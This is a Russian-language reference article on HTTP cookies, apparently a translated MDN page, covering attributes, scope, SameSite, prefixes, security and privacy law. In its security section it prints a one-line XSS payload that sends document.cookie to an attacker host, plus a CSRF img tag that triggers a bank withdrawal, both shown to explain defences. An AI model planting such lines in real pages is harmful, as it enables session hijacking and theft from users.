HTTP-куки

HTTP cookie (web cookie, куки браузера) - это небольшой фрагмент данных, который сервер отправляет браузеру пользователя. Браузер может сохранить этот фрагмент у себя и отправлять на сервер с каждым последующим запросом. Это, в частности, позволяет узнать, с одного ли браузера пришли несколько запросов (например, для аутентификации пользователя). С помощью кук можно сохранить любую информацию о состоянии, HTTP-протокол сам по себе этого делать не умеет.

Куки часто используются для:

  • Управления сеансом (логины, корзины для виртуальных покупок)
  • Персонализации (пользовательские предпочтения)
  • Трекинга (отслеживания поведения пользователей)

До недавнего времени куки использовались в качестве хранилища информации на стороне пользователя. Это могло иметь смысл в отсутствии вариантов, но теперь, когда в распоряжении браузеров появились различные API для хранения данных, это уже не так. Из-за того что куки пересылаются с каждым запросом, они могут ухудшать производительность (особенно при использовании мобильных сетей). В качестве хранилищ данных на стороне пользователя вместо них можно использовать Web storage API (localStorage и sessionStorage) и IndexedDB.

Примечание: Чтобы посмотреть сохранённые куки и другие хранилища данных, которые использует веб-страница, можно использовать Storage Inspector (Инспектор хранилища) в инструментах разработчика.

Создание куки

Получив HTTP-запрос, вместе с ответом сервер может отправить заголовок Set-Cookie. Куки обычно запоминаются браузером и посылаются в HTTP-заголовке Cookie (en-US) с каждым новым запросом к одному и тому же серверу. Можно задать срок действия кук, а также срок их жизни, после которого куки не будут отправляться. Также можно указать ограничения на путь и домен, то есть указать, в течении какого времени и к какому сайту они будут отсылаться.

Заголовок Set-Cookie HTTP-ответа используется для отправки куки с сервера в клиентское приложение (браузер). Простой куки может задаваться так:

Set-Cookie: <имя-куки>=<заголовок-куки>

Этот заголовок с сервера даёт клиенту указание сохранить куки (это делают, например, PHP, Node.js, Python и Ruby on Rails). Ответ, отправляемый браузеру, содержит заголовок Set-Cookie, и куки запоминается браузером.

HTTP/1.0 200 OK
Content-type: text/html
Set-Cookie: yummy_cookie=choco
Set-Cookie: tasty_cookie=strawberry

[page content]

Теперь с каждым новым запросом к серверу при помощи заголовка Cookie (en-US) браузер будет возвращать серверу все сохранённые ранее куки.

GET /sample_page.html HTTP/1.1
Host: www.example.org
Cookie: yummy_cookie=choco; tasty_cookie=strawberry

Простой cookie, пример которого приведён выше, представляет собой сессионный cookie (session cookie) - такие cookie удаляются при закрытии клиента, то есть существуют только на протяжении текущего сеанса, поскольку атрибуты Expires или Max-Age для него не задаются. Однако, если в браузере включено автоматическое восстановление сеанса, что случается очень часто, cookie сеанса может храниться постоянно, как если бы браузер никогда не закрывался.

Постоянные cookies

Постоянные cookie (permanent cookies) удаляются не с закрытием клиента, а при наступлении определённой даты (атрибут Expires) или после определённого интервала времени (атрибут Max-Age).

Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT;

Secure ("безопасные") и HttpOnly куки

"Безопасные" (secure) куки отсылаются на сервер только тогда, когда запрос отправляется по протоколу SSL и HTTPS. Однако важные данные никогда не следует передавать или хранить в куках, поскольку сам их механизм весьма уязвим в отношении безопасности, а флаг secure никакого дополнительного шифрования или средств защиты не обеспечивает. Начиная с Chrome 52 и Firefox 52, незащищённые сайты (http:) не могут создавать куки с флагом Secure.

Куки HTTPonly не доступны из JavaScript через свойства Document.cookie API, что помогает избежать межсайтового скриптинга (XSS (en-US)). Устанавливайте этот флаг для тех кук, к которым не требуется обращаться через JavaScript. В частности, если куки используются только для поддержки сеанса, то в JavaScript они не нужны, так что в этом случае следует устанавливать флаг HttpOnly.

Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT; Secure; HttpOnly

Область видимости куки

Директивы Domain и Path определяют область видимости куки, то есть те URL-адреса, к которым куки будут отсылаться.

Атрибут Domain

Атрибут Domain указывает хосты, на которые отсылаются куки. Если он не задан, то по умолчанию берётся доменная часть адреса документа (но без поддоменов). Если домен указан явно, то поддомены всегда включены.

Например, если задано Domain=mozilla.org, то куки включены и в поддоменах, например, в developer.mozilla.org.

Атрибут Path

Атрибут Path указывает URL, который должен быть в запрашиваемом ресурсе на момент отправки заголовка Cookie. Символ %x2F ("/") интерпретируется как разделитель в URL-пути, подпути также будут учитываться.

Если задан Path=/docs, то совпадать будут следующие пути:

  • /docs
  • /docs/
  • /docs/Web/
  • /docs/Web/HTTP

А эти пути совпадать не будут:

  • /
  • /docsets
  • /fr/docs

Куки SameSite

Куки отправляются на сервер при любых запросах, даже если запрашивается статический ресурс с чужого сервера, то есть если происходит межсайтовый запрос. Например, если страница сайта site.com содержит изображение сайта site.net, при запросе изображения в запросе будут отправлены все куки пользователя для site.net. Чтобы ограничить отправку кук только тому сайту, которому они принадлежат, используют атрибут SameSite.

C помощью атрибута SameSite можно указать, когда и как отправлять куки с межсайтовыми запросами (где сайт определяется комбинацией домена и схемы http: или https:). В некоторой степени этот атрибут защищает от межсайтовой подделки запроса (CSRF). SameSite может принимать три возможных значения: Strict, Lax и None.

С атрибутом Strict куки будут отправляться только тому сайту, которому эти куки принадлежат. Атрибут Lax работает похоже, но куки будут отправляться также при навигации на тот сайт, которому принадлежат куки. Например, при переходе по ссылке с внешнего сайта. Атрибут None отключает ограничение на отправку кук для межсайтовых запросов, но только в безопасном контексте (то есть если установлен SameSite=None, тогда также должен быть установлен атрибут Secure). Если атрибут SameSite не установлен, куки будут восприниматься как Lax.

Пример:

js
Set-Cookie: mykey=myvalue; SameSite=Strict

Примечание: В таблице совместимости (en-US) вы можете найти информацию о том, как обрабатываются атрибуты в конкретных версиях браузеров.

Куки с префиксами

Из-за дизайна механизма кук сервер не может подтвердить, что куки были отправлены с защищённого источника (secure origin), или быть уверенным в том, где именно они были установлены.

Уязвимое приложение поддомена может установить куку с атрибутом Domain, тем самым открывая к ней доступ на всех других поддоменнах. Этот механизм может эксплуатироваться с атакой фиксация сессии.

Примечание: Ознакомьтесь со статьёй фиксация сессии (en-US), чтобы узнать об основных методах защиты от этой атаки.

Тем не менее в соответствии с принципом защита в глубину вы можете использовать куки с префиксами, чтобы гарантировать специфические факты о куках. Доступны два префикса:

__Host-

Если в куке содержится этот префикс, она будет установлена заголовком Set-Cookie только в том случае, если кука будет содержать атрибут Secure и если запрос будет отправляться из защищённого источника. Также кука не должна включать атрибут Domain и должна содержать атрибут Path со значением /.

__Secure-

Если в куке содержится этот префикс, она будет установлена заголовком Set-Cookie только в том случае, если кука будет содержать атрибут Secure и если запрос будет отправляться из защищённого источника. Защита с помощью этого префикса слабее по сравнению с префиксом __Host-.

Браузеры будут отклонять установку этих кук, если они не будут удовлетворять всем ограничениям. Заметьте, что куки с префиксами, созданные в рамках поддомена, будут ограничиваться только им или будут полностью игнорироваться. Так как бэкенд проверяет только куки с заранее известными именами при авторизации пользователя или валидации CSRF-токена, куки с префиксами фактически работают как защитный механизм от фиксации сессии.

Примечание: Бэкенд веб-приложения обязан обращаться по полному имени куки, включая префикс. Пользовательские агенты не удаляют префикс из имени кук перед их отправкой в HTTP-заголовке Cookie (en-US).

Для получения информации о статусе поддержки префиксов в разных браузерах обратитесь к статье про Set-Cookie.

Доступ из JavaScript с помощью Document.cookie

Куки можно создавать с помощью JavaScript, используя DOM-свойство Document.cookie. Также можно читать куки из JavaScript, если не был установлен атрибут HttpOnly.

js
document.cookie = "yummy_cookie=choco";
document.cookie = "tasty_cookie=strawberry";
console.log(document.cookie);
// выведет "yummy_cookie=choco; tasty_cookie=strawberry"

Куки, созданные с помощью JavaScript, не могут содержать атрибут HttpOnly.

Пожалуйста, учитывайте вытекающие из этого проблемы, про которые рассказывается ниже в разделе Безопасность. Куки, доступные для JavaScript, могут быть похищены посредством XSS.

Безопасность

Примечание: При сохранении информации в куках имейте в виду, что у всех пользователей есть возможность просматривать и изменять их значения. В зависимости от типа приложения вы можете использовать ни о чём не говорящее имя для идентификатора кук, смысл которого будет понятен только бэкенду. Также вы можете рассмотреть возможность использования альтернативных механизмов аутентификации и конфиденциальности, например, JSON Web Tokens

Способы предотвращения атак, использующих куки:

  • Используйте атрибут HttpOnly для предотвращения доступа к кукам из JavaScript.
  • Куки, которые используются для хранения чувствительной информации, такой как аутентификационный токен, должны иметь короткое время жизни и атрибут SameSite, установленный в Strict или Lax. Для того чтобы узнать больше, смотрите раздел SameSite. В браузерах с поддержкой SameSite это гарантирует предотвращение отправки кук аутентификации с межсайтовыми запросами, фактически такие запросы с точки зрения бэкенда становятся неаутентифицированными.

Захват сессии (session hijacking) и XSS

Куки часто используются в веб-приложениях для идентификации аутентифицированного пользователя и сеанса работы. Соответственно, похищение кук из приложения может привести к захвату авторизованного сеанса пользователя. Кража кук часто осуществляется посредством социальной инженерии (Social Engineering) и использования уязвимости XSS (en-US).

js
new Image().src =
  "http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie;

Атрибут HttpOnly помогает уменьшить эту угрозу, перекрывая доступ к кукам из JavaScript.

Межсайтовая подделка запроса (CSRF - Cross-site request forgery)

В Wikipedia есть хороший пример CSRF. В сообщение, например, в чате или на форуме, включают "изображение", которое, на самом деле, представляет собой запрос к серверу банка на снятие денег:

html
<img
  src="http://bank.example.com/withdraw?account=bob&amount=1000000&for=mallory" />

Если вы аутентифицированны в своём банковском аккаунте, а куки по-прежнему действительны (и никакой дополнительной проверки не требуется), то при загрузке HTML-документа форума или чата с этим изображением деньги будут переведены с вашего счета. Для защиты от этого используется ряд методов:

  • Как и при XSS (en-US), важна фильтрация входящей информации.
  • Для любой чувствительной операции должно запрашиваться подтверждение.
  • Куки, используемые для чувствительных операций, должны иметь короткий срок действия.
  • Дополнительную информацию можно получить в пользовательской инструкции по предотвращению CSRF на сайте OWASP.

Трекинг и приватность

Сторонние (Third-party) куки

Куки ассоциируются с определённым доменом и схемой (такой как http: или https:). Также они могут быть ассоциированы с поддоменом с помощью атрибута Domain. Если домен и схема кук совпадает с доменом и схемой текущей страницы, на которой вы находитесь, то их называют собственными куками (first-party cookies). Если домен и схема кук отличается от домена и схемы текущей страницы, то такие куки называют сторонними куками (third-party cookies).

Сервер, хостящий страницу, устанавливает собственные куки, но на странице могут находиться изображения и другие компоненты с других доменов (например, баннерная реклама), они в свою очередь могут устанавливать сторонние куки. Сторонние куки часто используются для рекламы и трекинга пользователей в сети. Как пример, можете посмотреть куки, которые устанавливает Google.

Третья сторона, контролирующая внедрение сторонних кук, может создать профиль пользователя на основе истории его посещений разных сайтов с помощью кук, отправляемых одним и тем же браузером с разных сайтов. Firefox по умолчанию блокирует сторонние куки, про которые известно, что они используются для трекинга пользователей. Сторонние куки (или просто куки для трекинга) могут также быть заблокированы другими настройками браузера или расширениями. Блокировка кук в некоторых ситуациях может стать причиной некорректного поведения сторонних компонентов, например, виджетов социальных сетей.

Примечание: Бэкенд может (и должен) устанавливать у кук атрибут SameSite (en-US) для управления отправкой кук на сторонние серверы.

Законодательство, связанное с куки

Регулирующие акты и законодательство, покрывающие куки, включают:

  • General Data Privacy Regulation (GDPR) в Европейском Союзе
  • ePrivacy Directive в Европейском Союзе
  • California Consumer Privacy Act в Штате Калифорния

Эти акты и директивы действуют глобально. Они применяются ко всем сайтам во Всемирной паутине, к которым пользователи из данных юрисдикций получают доступ (Европейский Союз и Калифорния, с оговоркой, что Калифорнийский закон применяется к компаниям с доходом выше 25 миллионов долларов и несколькими другими оговорками).

Эти акты и директивы включают такие требования как:

  • Сообщать пользователям, что сайт использует куки.
  • Давать возможность пользователям отказываться от получения всех или некоторых кук.
  • Давать возможность пользователям использовать основные функции вашего сервиса без получения кук.

Могут существовать другие законодательные акты, которые применимы к вашей локальной юрисдикции. На вас лежит ответственность знать про них и следовать им. Существуют компании, которые предлагают код с "куки баннером" и берут на себя заботы о следовании законодательству, связанному с куками.

Другие способы хранения информации в браузере

Другой способ для хранения данных в браузере — Web Storage API. Свойства window.sessionStorage и window.localStorage подобны сессионным и постоянным кукам, но позволяют хранить больше данных и никогда не отправляются на сервер. Для хранения ещё большего объёма структурированных данных может использоваться IndexedDB API или библиотеки, построенные поверх него.

Существуют техники для повторной установки кук после их удаления. Такие куки называются куки-зомби. Эти техники нарушают принципы приватности пользователей и пользовательского контроля и могут нарушать законодательства, регулирующие приватность данных, соответственно, использующий их сайт подвержен судебному разбирательству.

Читайте также